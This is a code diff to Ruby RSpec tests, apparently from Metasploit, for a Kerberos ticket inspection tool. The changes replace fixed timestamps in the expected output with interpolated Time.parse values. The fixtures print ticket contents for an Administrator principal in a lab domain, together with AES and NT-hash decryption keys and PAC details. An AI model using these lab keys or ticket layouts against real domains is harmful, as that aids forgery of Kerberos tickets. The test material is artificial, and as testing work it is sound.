Start time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
End time: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
Renew Till: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
Ticket:
Ticket Version Number: 5
Realm: WINDOMAIN.LOCAL
@@ -170,10 +170,10 @@ RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do
Key Version Number: 2
Decrypted (with key: 4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326):
Times:
Auth time: 2022-11-28 15:51:29 UTC
Start time: 2022-11-28 15:51:29 UTC
End time: 2032-11-25 15:51:29 UTC
Renew Till: 2032-11-25 15:51:29 UTC
Auth time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
Start time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
End time: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
Renew Till: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
Client Addresses: 0
Transited: tr_type: 0, Contents: ""
Client Name: 'Administrator'
@@ -459,7 +459,7 @@ RSpec.describe 'kerberos inspect ticket' do
let(:expected_decrypted_aes_output) do
expected_output = ["#{file_format} File:#{ticket_path}"]
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
expected_output << <<~EOF.chomp
Primary Principal: Administrator@WINDOMAIN.LOCAL
Ccache version: 4
@@ -475,10 +475,10 @@ RSpec.describe 'kerberos inspect ticket' do
Addresses: 0
Authdatas: 0
Times:
Auth time: 2023-01-13 14:31:25 +0000
Start time: 2023-01-13 14:31:25 +0000
End time: 2033-01-10 14:31:25 +0000
Renew Till: 2033-01-10 14:31:25 +0000
Auth time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
Start time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
End time: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
Renew Till: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
Ticket:
Ticket Version Number: 5
Realm: WINDOMAIN.LOCAL
@@ -488,10 +488,10 @@ RSpec.describe 'kerberos inspect ticket' do
Key Version Number: 2
Decrypted (with key: 4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326):
Times:
Auth time: 2023-01-13 14:31:25 UTC
Start time: 2023-01-13 14:31:25 UTC
End time: 2033-01-10 14:31:25 UTC
Renew Till: 2033-01-10 14:31:25 UTC
Auth time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
Start time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
End time: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
Renew Till: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
Client Addresses: 0
Transited: tr_type: 0, Contents: ""
Client Name: 'Administrator'
@@ -501,7 +501,7 @@ RSpec.describe 'kerberos inspect ticket' do
Flags: 0x50a00000 (FORWARDABLE, PROXIABLE, RENEWABLE, PRE_AUTHENT)
PAC:
Validation Info:
Logon Time: 2023-01-13 14:31:25 +0000
Logon Time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
Logoff Time: Never Expires (inf)
Kick Off Time: Never Expires (inf)
Password Last Set: No Time Set (0)
@@ -538,7 +538,7 @@ RSpec.describe 'kerberos inspect ticket' do
Logon Domain Name: 'WINDOMAIN.LOCAL'
Client Info:
Name: 'Administrator'
Client ID: 2023-01-13 14:31:25 +0000
Client ID: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
Pac Server Checksum:
Signature: 81a20da731b3b9bdd2e756dc
Pac Privilege Server Checksum:
@@ -550,7 +550,7 @@ RSpec.describe 'kerberos inspect ticket' do
let(:expected_encrypted_aes_output) do
expected_output = ['No decryption key provided proceeding without decryption.']
expected_output << "#{file_format} File:#{ticket_path}"
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
expected_output << <<~EOF.chomp
Primary Principal: Administrator@WINDOMAIN.LOCAL
Ccache version: 4
@@ -566,10 +566,10 @@ RSpec.describe 'kerberos inspect ticket' do
Addresses: 0
Authdatas: 0
Times:
Auth time: 2023-01-13 14:31:25 +0000
Start time: 2023-01-13 14:31:25 +0000
End time: 2033-01-10 14:31:25 +0000
Renew Till: 2033-01-10 14:31:25 +0000
Auth time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
Start time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
End time: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
Renew Till: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
Ticket:
Ticket Version Number: 5
Realm: WINDOMAIN.LOCAL
@@ -585,7 +585,7 @@ RSpec.describe 'kerberos inspect ticket' do
let(:expected_decrypted_nthash_output) do
expected_output = ["#{file_format} File:#{ticket_path}"]
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
expected_output << <<~EOF.chomp
Primary Principal: Administrator@WINDOMAIN.LOCAL
Ccache version: 4
@@ -601,10 +601,10 @@ RSpec.describe 'kerberos inspect ticket' do
Addresses: 0
Authdatas: 0
Times:
Auth time: 2023-01-13 14:36:39 +0000
Start time: 2023-01-13 14:36:39 +0000
End time: 2033-01-10 14:36:39 +0000
Renew Till: 2033-01-10 14:36:39 +0000
Auth time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
Start time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
End time: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
Renew Till: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
Ticket:
Ticket Version Number: 5
Realm: WINDOMAIN.LOCAL
@@ -614,10 +614,10 @@ RSpec.describe 'kerberos inspect ticket' do
Key Version Number: 2
Decrypted (with key: 88e4d9fabaecf3dec18dd80905521b29):
Times:
Auth time: 2023-01-13 14:36:39 UTC
Start time: 2023-01-13 14:36:39 UTC
End time: 2033-01-10 14:36:39 UTC
Renew Till: 2033-01-10 14:36:39 UTC
Auth time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
Start time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
End time: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
Renew Till: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
Client Addresses: 0
Transited: tr_type: 0, Contents: ""
Client Name: 'Administrator'
@@ -627,7 +627,7 @@ RSpec.describe 'kerberos inspect ticket' do
Flags: 0x50a00000 (FORWARDABLE, PROXIABLE, RENEWABLE, PRE_AUTHENT)
PAC:
Validation Info:
Logon Time: 2023-01-13 14:36:39 +0000
Logon Time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
Logoff Time: Never Expires (inf)
Kick Off Time: Never Expires (inf)
Password Last Set: No Time Set (0)
@@ -664,7 +664,7 @@ RSpec.describe 'kerberos inspect ticket' do
Logon Domain Name: 'WINDOMAIN.LOCAL'
Client Info:
Name: 'Administrator'
Client ID: 2023-01-13 14:36:39 +0000
Client ID: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
Pac Server Checksum:
Signature: 1a038d8dd257a7d9b875280259ab0e4a
Pac Privilege Server Checksum:
@@ -676,7 +676,7 @@ RSpec.describe 'kerberos inspect ticket' do
let(:expected_encrypted_nthash_output) do
expected_output = ['No decryption key provided proceeding without decryption.']
expected_output << "#{file_format} File:#{ticket_path}"
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
expected_output << <<~EOF.chomp
Primary Principal: Administrator@WINDOMAIN.LOCAL
Ccache version: 4
@@ -692,10 +692,10 @@ RSpec.describe 'kerberos inspect ticket' do
Addresses: 0
Authdatas: 0
Times:
Auth time: 2023-01-13 14:36:39 +0000
Start time: 2023-01-13 14:36:39 +0000
End time: 2033-01-10 14:36:39 +0000
Renew Till: 2033-01-10 14:36:39 +0000
Auth time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
Start time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
End time: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
Renew Till: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
Ticket:
Ticket Version Number: 5
Realm: WINDOMAIN.LOCAL